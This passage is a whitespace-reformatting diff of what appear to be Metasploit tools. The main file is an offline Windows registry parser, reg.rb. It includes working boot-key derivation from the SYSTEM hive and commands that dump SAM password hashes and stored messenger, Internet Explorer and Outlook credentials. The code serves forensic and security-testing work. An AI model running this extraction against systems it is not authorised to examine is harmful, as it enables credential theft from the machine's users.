current_control_set_key = @hive.value_query('\Select\Default') + current_control_set = "ControlSet00" + current_control_set_key.value.data.unpack('c').first.to_s if current_control_set_key - computer_name_key = @hive.value_query("\\" + current_control_set + "\\Control\\ComputerName\\ComputerName") if current_control_set - computer_name = computer_name_key.value.data.to_s if computer_name_key + computer_name_key = @hive.value_query("\\" + current_control_set + "\\Control\\ComputerName\\ComputerName") if current_control_set + computer_name = computer_name_key.value.data.to_s if computer_name_key - event_log_info_key = @hive.relative_query("\\" + current_control_set + "\\Services\\EventLog") if current_control_set + event_log_info_key = @hive.relative_query("\\" + current_control_set + "\\Services\\EventLog") if current_control_set - puts "Computer Name: " + computer_name if computer_name + puts "Computer Name: " + computer_name if computer_name - print_all_values(event_log_info_key) if event_log_info_key - puts "-----------------------------------------" if event_log_info_key + print_all_values(event_log_info_key) if event_log_info_key + puts "-----------------------------------------" if event_log_info_key - print_all_values(mounted_devices_info_key) if mounted_devices_info_key - puts "-----------------------------------------" if mounted_devices_info_key + print_all_values(mounted_devices_info_key) if mounted_devices_info_key + puts "-----------------------------------------" if mounted_devices_info_key - elsif @hive.hive_name =~ /SOFTWARE/ - current_version_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion") - login_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon") + elsif @hive.hive_name =~ /SOFTWARE/ + current_version_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion") + login_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon") - print_all_values(current_version_info_key) - puts "-----------------------------------------" if current_version_info_key + print_all_values(current_version_info_key) + puts "-----------------------------------------" if current_version_info_key - print_all_values(login_info_key) - puts "-----------------------------------------" if login_info_key - end + print_all_values(login_info_key) + puts "-----------------------------------------" if login_info_key + end end def get_user_information - local_groups_info_key = @hive.relative_query("\\SAM\\Domains\\Builtin\\Aliases\\Names") - local_users_info_key = @hive.relative_query("\\SAM\\Domains\\Account\\Users\\Names") + local_groups_info_key = @hive.relative_query("\\SAM\\Domains\\Builtin\\Aliases\\Names") + local_users_info_key = @hive.relative_query("\\SAM\\Domains\\Account\\Users\\Names") - print_all(local_groups_info_key) - puts "------------------------------------------------" if local_groups_info_key && local_groups_info_key.lf_record.children + print_all(local_groups_info_key) + puts "------------------------------------------------" if local_groups_info_key && local_groups_info_key.lf_record.children - print_all(local_users_info_key) - puts "------------------------------------------------" if local_users_info_key && local_groups_info_key.lf_record.children + print_all(local_users_info_key) + puts "------------------------------------------------" if local_users_info_key && local_groups_info_key.lf_record.children end def dump_creds @@ -120,45 +120,45 @@ end def get_boot_key - return if !@hive.root_key - return if !@hive.root_key.name + return if !@hive.root_key + return if !@hive.root_key.name - puts "Getting boot key" - puts "Root key: " + @hive.root_key.name + puts "Getting boot key" + puts "Root key: " + @hive.root_key.name - default_control_set = @hive.value_query('\Select\Default').value.data.unpack("c").first + default_control_set = @hive.value_query('\Select\Default').value.data.unpack("c").first - puts "Default ControlSet: ControlSet00#{default_control_set}" + puts "Default ControlSet: ControlSet00#{default_control_set}" - bootkey = "" - basekey = "\\ControlSet00#{default_control_set}\\Control\\Lsa" + bootkey = "" + basekey = "\\ControlSet00#{default_control_set}\\Control\\Lsa" - %W{JD Skew1 GBG Data}.each do |k| - ok = @hive.relative_query(basekey + "\\" + k) - return nil if not ok + %W{JD Skew1 GBG Data}.each do |k| + ok = @hive.relative_query(basekey + "\\" + k) + return nil if not ok - tmp = "" - 0.upto(ok.class_name_length - 1) do |i| - next if i%2 == 1 + tmp = "" + 0.upto(ok.class_name_length - 1) do |i| + next if i%2 == 1 - tmp << ok.class_name_data[i,1] - end + tmp << ok.class_name_data[i,1] + end - bootkey << [tmp.to_i(16)].pack('V') - end + bootkey << [tmp.to_i(16)].pack('V') + end - keybytes = bootkey.unpack("C*") + keybytes = bootkey.unpack("C*") - descrambled = "" - # descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ] - descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] + descrambled = "" + # descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ] + descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] - 0.upto(keybytes.length-1) do |x| - descrambled << [ keybytes[ descrambler[x] ] ].pack("C") - end + 0.upto(keybytes.length-1) do |x| + descrambled << [ keybytes[ descrambler[x] ] ].pack("C") + end - puts descrambled.unpack("H*") + puts descrambled.unpack("H*") end def list_applications @@ -169,108 +169,108 @@ end def get_aol_instant_messenger_information - if @hive.hive_name != /NTUSER\.dat/i - users_list_key = @hive.relative_query('\Software\America Online\AOL Instant Messenger(TM)\CurrentVersion\Users') - last_logged_in_user_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Login - Screen Name") + if @hive.hive_name != /NTUSER\.dat/i + users_list_key = @hive.relative_query('\Software\America Online\AOL Instant Messenger(TM)\CurrentVersion\Users') + last_logged_in_user_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Login - Screen Name") - print_all_keys(users_list_key) + print_all_keys(users_list_key) - users_list_key.lf_record.children.each do |screenname| - away_messages_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\IAmGoneList") - file_xfer_settings_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Xfer") - profile_info_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\DirEntry") - recent_contacts_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Recent IM ScreenNames") + users_list_key.lf_record.children.each do |screenname| + away_messages_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\IAmGoneList") + file_xfer_settings_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Xfer") + profile_info_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\DirEntry") + recent_contacts_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Recent IM ScreenNames") - print_all(away_messages_key) - print_all(file_xfer_settings_key) - print_all(profile_info_key) - print_all(recent_contacts_key) - end + print_all(away_messages_key) + print_all(file_xfer_settings_key) + print_all(profile_info_key) + print_all(recent_contacts_key) + end - end + end end def get_msn_messenger_information - if @hive.hive_name =~ /NTUSER\.dat/i - general_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NETMessengerService\\") - file_sharing_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\FileSharing - Autoshare") - file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\ - FTReceiveFolder") + if @hive.hive_name =~ /NTUSER\.dat/i + general_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NETMessengerService\\") + file_sharing_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\FileSharing - Autoshare") + file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\ - FTReceiveFolder") - print_all(general_information_key) - print_all(file_sharing_information_key) - print_all(file_transfers_information_key) - end + print_all(general_information_key) + print_all(file_sharing_information_key) + print_all(file_transfers_information_key) + end end def get_windows_messenger_information - if @hive.hive_name =~ /NTUSER\.dat/i - contact_list_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service") - file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\Messenger Service - FtReceiveFolder") - last_user_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service - IdentityName") + if @hive.hive_name =~ /NTUSER\.dat/i + contact_list_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service") + file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\Messenger Service - FtReceiveFolder") + last_user_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service - IdentityName") - print_all(contact_list_information_key) - print_all(file_transfers_information_key) - print_all(last_user_information_key) - end + print_all(contact_list_information_key) + print_all(file_transfers_information_key) + print_all(last_user_information_key) + end end def get_icq_information - if @hive.hive_name =~ /NTUSER\.dat/i - general_information_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ") + if @hive.hive_name =~ /NTUSER\.dat/i + general_information_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ") - print_all(general_information_key) - elsif @hive.hive_name =~ /SOFTWARE/ - owner_number_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ\\Owner") - print_all(owner_number_key) - end + print_all(general_information_key) + elsif @hive.hive_name =~ /SOFTWARE/ + owner_number_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ\\Owner") + print_all(owner_number_key) + end end def get_ie_information - if @hive.hive_name =~ /NTUSER\.dat/i - stored_logon_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Internet Explorer\\Internet Explorer - URL:StringData") - stored_search_terms_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage SystemProvider\\SID\\Internet Explorer\\Internet Explorer - q:SearchIndex") - ie_setting_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Main") - history_length_value_key = @hive.value_query("\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\URL History - DaysToKeep") - typed_urls_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Typed URLs") - intelliforms_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Intelliforms") - autocomplete_web_addresses_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider") - default_download_dir = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer") + if @hive.hive_name =~ /NTUSER\.dat/i + stored_logon_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Internet Explorer\\Internet Explorer - URL:StringData") + stored_search_terms_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage SystemProvider\\SID\\Internet Explorer\\Internet Explorer - q:SearchIndex") + ie_setting_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Main") + history_length_value_key = @hive.value_query("\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\URL History - DaysToKeep") + typed_urls_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Typed URLs") + intelliforms_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Intelliforms") + autocomplete_web_addresses_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider") + default_download_dir = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer") - print_all(stored_logon_information_key) - print_all(stored_search_terms_information_key) - print_all(ie_setting_information_key) - print_all(typed_urls_information_key) - print_all(intelliforms_information_key) - print_all(autocomplete_web_addresses_key) - print_all(default_download_dir) + print_all(stored_logon_information_key) + print_all(stored_search_terms_information_key) + print_all(ie_setting_information_key) + print_all(typed_urls_information_key) + print_all(intelliforms_information_key) + print_all(autocomplete_web_addresses_key) + print_all(default_download_dir) - puts "Days saved in history: " + history_length_value_key.value.data.to_s if !history_length_value_key.kind_of? Array - end + puts "Days saved in history: " + history_length_value_key.value.data.to_s if !history_length_value_key.kind_of? Array + end end def get_outlook_information - if @hive.hive_name =~ /NTUSER\.dat/i - account_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Identification\\INETCOMM Server Passwords") + if @hive.hive_name =~ /NTUSER\.dat/i + account_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Identification\\INETCOMM Server Passwords") - print_all(account_information_key) - end + print_all(account_information_key) + end end def get_yahoo_messenger_information - if @hive.hive_name =~ /NTUSER\.dat/i - profiles_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles") + if @hive.hive_name =~ /NTUSER\.dat/i + profiles_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles") - print_all(profiles_key) + print_all(profiles_key) - profiles_key.lf_record.children.each do |child| - file_transfers_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\FileTransfer") - message_archiving_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\Archive") + profiles_key.lf_record.children.each do |child| + file_transfers_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\FileTransfer") + message_archiving_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\Archive") - print_all(file_transfers_information_key) - print_all(message_archiving_information_key) - end - end + print_all(file_transfers_information_key) + print_all(message_archiving_information_key) + end + end end def get_networking_information @@ -281,261 +281,261 @@ def get_user_application_information end if ARGV.length == 0 || ARGV[0] == "help" - no_args = %Q{ + no_args = %Q{ Usage: reg.rb <command> <opts> <hivepath> Available commands: - query_key Query for more information about a specific node key - query_value Query for the value of a specific value key - get_boot_key Extract the boot key from the SYSTEM hive - dump_creds Dump the usernames and password hashes of the users from the SAM hive - list_applications List all the applications installed via the SOFTWARE hive - list_drivers List all the devices and their respective drivers and driver versions from SYSTEM hive - get_everything When pointed to a directory with hives, it will run all commands on all available hives - get_aol_instant_messenger_information Get credentials and general information on AOL Instant Messenger users from NTUSER.dat - get_msn_messenger_information Get credentials and general information on MSN Messenger users from NTUSER.dat - get_windows_messenger_information Get credentials and general information on Windows Messenger users from NTUSER.dat - get_icq_information Get credentials and general information on ICQ users from NTUSER.dat - get_ie_information Get stored credentials, typed history, search terms, and general settings from NTUSER.dat - get_outlook_information Gets outlook and outlook express stored credentials and general information from NTUSER.dat - get_yahoo_messenger_information Gets credentials and general information on Yahoo! Messenger users from NTUSER.dat - get_system_information Gets general system administration from both SOFTWARE and SYSTEM hives - get_networking_information Gets networing information from the SAM, SYSTEM, and NTUSER.dat hives - get_user_information Gets general user information from the SYSTEM, SECURITY, SAM, and NTUSER.dat hives - get_user_application_information Gets user-specific application information from the NTUSER.DAT and SOFTWARE hives - } + query_key Query for more information about a specific node key + query_value Query for the value of a specific value key + get_boot_key Extract the boot key from the SYSTEM hive + dump_creds Dump the usernames and password hashes of the users from the SAM hive + list_applications List all the applications installed via the SOFTWARE hive + list_drivers List all the devices and their respective drivers and driver versions from SYSTEM hive + get_everything When pointed to a directory with hives, it will run all commands on all available hives + get_aol_instant_messenger_information Get credentials and general information on AOL Instant Messenger users from NTUSER.dat + get_msn_messenger_information Get credentials and general information on MSN Messenger users from NTUSER.dat + get_windows_messenger_information Get credentials and general information on Windows Messenger users from NTUSER.dat + get_icq_information Get credentials and general information on ICQ users from NTUSER.dat + get_ie_information Get stored credentials, typed history, search terms, and general settings from NTUSER.dat + get_outlook_information Gets outlook and outlook express stored credentials and general information from NTUSER.dat + get_yahoo_messenger_information Gets credentials and general information on Yahoo! Messenger users from NTUSER.dat + get_system_information Gets general system administration from both SOFTWARE and SYSTEM hives + get_networking_information Gets networing information from the SAM, SYSTEM, and NTUSER.dat hives + get_user_information Gets general user information from the SYSTEM, SECURITY, SAM, and NTUSER.dat hives + get_user_application_information Gets user-specific application information from the NTUSER.DAT and SOFTWARE hives + } - puts no_args - exit + puts no_args + exit end case ARGV[0] when "query_key" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - puts "Hive name: #{@hive.hive_name}" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + puts "Hive name: #{@hive.hive_name}" - 1.upto(ARGV.length - 2) do |arg| - selected = @hive.relative_query(ARGV[arg]) - print_all(selected) - end + 1.upto(ARGV.length - 2) do |arg| + selected = @hive.relative_query(ARGV[arg]) + print_all(selected) + end when "query_value" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - puts "Hive name: #{@hive.hive_name}" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + puts "Hive name: #{@hive.hive_name}" - 1.upto(ARGV.length - 2) do |i| - selected = @hive.value_query(ARGV[i]) + 1.upto(ARGV.length - 2) do |i| + selected = @hive.value_query(ARGV[i]) - if !selected - puts "Value not found." - return - end + if !selected + puts "Value not found." + return + end - puts "Value Name: #{selected.name}" - puts "Value Data: #{selected.value.data.inspect}" - end + puts "Value Name: #{selected.name}" + puts "Value Data: #{selected.value.data.inspect}" + end when "get_boot_key" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SYSTEM/ - puts "I need a SYSTEM hive to grab the boot key, not a #{@hive.hive_name}." - else - get_boot_key - end + if @hive.hive_name !~ /SYSTEM/ + puts "I need a SYSTEM hive to grab the boot key, not a #{@hive.hive_name}." + else + get_boot_key + end when "dump_creds" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SAM/ - puts "I need a SAM hive, not a #{@hive.hive_name}" - else - dump_creds - end + if @hive.hive_name !~ /SAM/ + puts "I need a SAM hive, not a #{@hive.hive_name}" + else + dump_creds + end when "list_applications" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SOFTWARE/ - puts "I need a SOFTWARE hive, not a #{@hive.hive_name}." - else - list_applications - end + if @hive.hive_name !~ /SOFTWARE/ + puts "I need a SOFTWARE hive, not a #{@hive.hive_name}." + else + list_applications + end when "list_drivers" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SYSTEM/ - puts "I need a SYSTEM hive, not a #{@hive.hive_name}." - else - list_drivers - end + if @hive.hive_name !~ /SYSTEM/ + puts "I need a SYSTEM hive, not a #{@hive.hive_name}." + else + list_drivers + end when "get_everything" - Dir.foreach(ARGV[1]) do |file| - next if file =~ /^\./ - next if ::File.directory?(ARGV[1] + "/" + file) + Dir.foreach(ARGV[1]) do |file| + next if file =~ /^\./ + next if ::File.directory?(ARGV[1] + "/" + file) - @hive = Rex::Registry::Hive.new(ARGV[1] + "/" + file) + @hive = Rex::Registry::Hive.new(ARGV[1] + "/" + file) - next if !@hive.hive_regf - next if !@hive.hive_name + next if !@hive.hive_regf + next if !@hive.hive_name - case @hive.hive_name + case @hive.hive_name - when /SYSTEM/ + when /SYSTEM/ - puts "Found a SYSTEM hive..." + puts "Found a SYSTEM hive..." - list_drivers - get_boot_key - get_system_information - get_networking_information - get_user_information + list_drivers + get_boot_key + get_system_information + get_networking_information + get_user_information - when /SOFTWARE/ + when /SOFTWARE/ - puts "Found a SOFTWARE hive..." + puts "Found a SOFTWARE hive..." - list_applications - get_icq_information - get_system_information - get_networking_information - get_user_information - get_user_application_information + list_applications + get_icq_information + get_system_information + get_networking_information + get_user_information + get_user_application_information - when /SAM/ + when /SAM/ - puts "Found a SAM hive..." + puts "Found a SAM hive..." - get_networking_information - get_user_information + get_networking_information + get_user_information - when /SECURITY/ + when /SECURITY/ - puts "Found a SECURITY hive..." + puts "Found a SECURITY hive..." - get_user_information + get_user_information - when /NTUSER\.dat/i + when /NTUSER\.dat/i - puts "Found a NTUSER.dat hive..." + puts "Found a NTUSER.dat hive..." - get_aol_instant_messenger_information - get_icq_information - get_ie_information - get_msn_messenger_information - get_outlook_information - get_windows_messenger_information - get_yahoo_messenger_information - get_networking_information - get_user_information - get_user_application_information + get_aol_instant_messenger_information + get_icq_information + get_ie_information + get_msn_messenger_information + get_outlook_information + get_windows_messenger_information + get_yahoo_messenger_information + get_networking_information + get_user_information + get_user_application_information - end + end end when "get_aol_instant_messenger_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.DAT/i - puts "I need the NTUSER.dat hive, not #{@hive.hive_name}." - else - get_aol_instant_messenger_information - end + if @hive.hive_name !~ /NTUSER\.DAT/i + puts "I need the NTUSER.dat hive, not #{@hive.hive_name}." + else + get_aol_instant_messenger_information + end when "get_icq_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i && @hive.hive_name !~ /SOFTWARE/ - puts "I need either a SOFTWARE or NTUSER.dat hive, not #{@hive.hive_name}." - else - get_icq_information - end + if @hive.hive_name !~ /NTUSER\.dat/i && @hive.hive_name !~ /SOFTWARE/ + puts "I need either a SOFTWARE or NTUSER.dat hive, not #{@hive.hive_name}." + else + get_icq_information + end when "get_ie_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." - else - get_ie_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." + else + get_ie_information + end when "get_msn_messenger_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." - else - get_msn_messenger_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." + else + get_msn_messenger_information + end when "get_outlook_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." - else - get_outlook_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." + else + get_outlook_information + end when "get_windows_messenger_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not a #{@hive.hive_name}." - else - get_windows_messenger_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not a #{@hive.hive_name}." + else + get_windows_messenger_information + end when "get_yahoo_messenger_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not a #{@hive.hive_name}." - else - get_yahoo_messenger_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not a #{@hive.hive_name}." + else + get_yahoo_messenger_information + end when "get_system_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SYSTEM/ && @hive.hive_name !~ /SOFTWARE/ - puts "I need the SYSTEM or SOFTWARE hive, not #{@hive.hive_name}." - else - get_system_information - end + if @hive.hive_name !~ /SYSTEM/ && @hive.hive_name !~ /SOFTWARE/ + puts "I need the SYSTEM or SOFTWARE hive, not #{@hive.hive_name}." + else + get_system_information + end when "get_networking_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SAM/ && @hive.hive_name !~ /SYSTEM/ && @hive.hive_name !~ /NTUSER\.dat/i - puts "I need either a SAM, SYSTEM, or NTUSER.dat hive, not a #{@hive.hive_name}." - else - get_networking_information - end + if @hive.hive_name !~ /SAM/ && @hive.hive_name !~ /SYSTEM/ && @hive.hive_name !~ /NTUSER\.dat/i + puts "I need either a SAM, SYSTEM, or NTUSER.dat hive, not a #{@hive.hive_name}." + else + get_networking_information + end when "get_user_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SAM/ - puts "I need a SAM hive. Not a #{@hive.hive_name}." - else - get_user_information - end + if @hive.hive_name !~ /SAM/ + puts "I need a SAM hive. Not a #{@hive.hive_name}." + else + get_user_information + end when "get_user_application_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i && @hive.hive_name !~ /SOFTWARE/ - puts "I need either an NTUSER.dat or SOFTWARE hive, not a #{@hive.hive_name}." - else - get_user_application_information - end + if @hive.hive_name !~ /NTUSER\.dat/i && @hive.hive_name !~ /SOFTWARE/ + puts "I need either an NTUSER.dat or SOFTWARE hive, not a #{@hive.hive_name}." + else + get_user_application_information + end else - puts "Sorry invalid command, try with \"help\"" + puts "Sorry invalid command, try with \"help\"" end diff --git a/tools/verify_datastore.rb b/tools/verify_datastore.rb index c315c97903..38ffd6922e 100755 --- a/tools/verify_datastore.rb +++ b/tools/verify_datastore.rb @@ -17,8 +17,8 @@ infile = ARGV[0] unless(infile && File.readable?(infile)) - puts "Usage: #{$0} /path/to/module.rb" - exit(1) + puts "Usage: #{$0} /path/to/module.rb" + exit(1) end verbose = false @@ -42,21 +42,21 @@ unused_datastores = [] # Declared datastore finder mod.each_line do |line| - next if line.match regex[:comment] - datastores = line.scan regex[:datastore] - datastores.each {|ds| referenced_datastores << ds[1]} + next if line.match regex[:comment] + datastores = line.scan regex[:datastore] + datastores.each {|ds| referenced_datastores << ds[1]} end # Referenced datastore finder in_opts = false mod.each_line do |line| - in_opts = true if line.match regex[:opts] - in_opts = false if line.match regex[:opts_end] - next unless in_opts - if line.match regex[:is_opt] - # Assumes only one! - declared_datastores[$2] ||= $1 - end + in_opts = true if line.match regex[:opts] + in_opts = false if line.match regex[:opts_end] + next unless in_opts + if line.match regex[:is_opt] + # Assumes only one! + declared_datastores[$2] ||= $1 + end end # Class and Mixin finder @@ -65,21 +65,21 @@ $class = nil require 'msf/core' # Make sure this is in your path, or else all is for naught. mod.each_line do |line| - if line.match regex[:class] - $class = ObjectSpace.class_eval($1) - elsif line.match regex[:mixin] - mixin = $1 - begin - $mixins << ObjectSpace.module_eval(mixin) - rescue - puts "[-] Error including mixin: #{mixin}" - next - end - end + if line.match regex[:class] + $class = ObjectSpace.class_eval($1) + elsif line.match regex[:mixin] + mixin = $1 + begin + $mixins << ObjectSpace.module_eval(mixin) + rescue + puts "[-] Error including mixin: #{mixin}" + next + end + end end class Fakemod < $class - $mixins.each {|m| include m} + $mixins.each {|m| include m} end fakemod = Fakemod.new inhereted_datastores = fakemod.options.keys @@ -90,25 +90,25 @@ undeclared_datastores = referenced_datastores - (declared_datastores.keys + inhe unused_datastores = declared_datastores.keys - referenced_datastores if verbose - puts "[+] --- Referenced datastore keys for #{infile}" - referenced_datastores.uniq.sort.each {|ds| puts ds} - puts "[+] --- Declared datastore keys for #{infile}" - declared_datastores.keys.sort.each {|opt| puts "%-30s%s" % [opt, declared_datastores[opt]] } + puts "[+] --- Referenced datastore keys for #{infile}" + referenced_datastores.uniq.sort.each {|ds| puts ds} + puts "[+] --- Declared datastore keys for #{infile}" + declared_datastores.keys.sort.each {|opt| puts "%-30s%s" % [opt, declared_datastores[opt]] } end unless undeclared_datastores.empty? - puts "[-] %-60s : fail (undeclared)" % [infile] - puts "[-] The following datastore elements are undeclared" if verbose - undeclared_datastores.uniq.sort.each {|opt| puts " \e[31m#{opt}\e[0m" } + puts "[-] %-60s : fail (undeclared)" % [infile] + puts "[-] The following datastore elements are undeclared" if verbose + undeclared_datastores.uniq.sort.each {|opt| puts " \e[31m#{opt}\e[0m" } end unless unused_datastores.empty? - puts "[*] %-60s : warn (unused)" % [infile] - puts "[*] The following datastore elements are unused" if verbose - unused_datastores.uniq.sort.each {|opt| puts " \e[33m#{opt}\e[0m" } + puts "[*] %-60s : warn (unused)" % [infile] + puts "[*] The following datastore elements are unused" if verbose + unused_datastores.uniq.sort.each {|opt| puts " \e[33m#{opt}\e[0m" } end if undeclared_datastores.empty? && unused_datastores.empty? - puts "[+] %-60s : okay" % [infile] + puts "[+] %-60s : okay" % [infile] end diff --git a/tools/vxdigger.rb b/tools/vxdigger.rb index f5784a8092..ceeb464c2a 100755 --- a/tools/vxdigger.rb +++ b/tools/vxdigger.rb @@ -13,13 +13,13 @@ # def usage - $stderr.puts "usage: #{$0} [dump-file] <master password list>" - exit + $stderr.puts "usage: #{$0} [dump-file] <master password list>" + exit end # Force binary encoding for Ruby versions that support it if(Object.const_defined?('Encoding') and 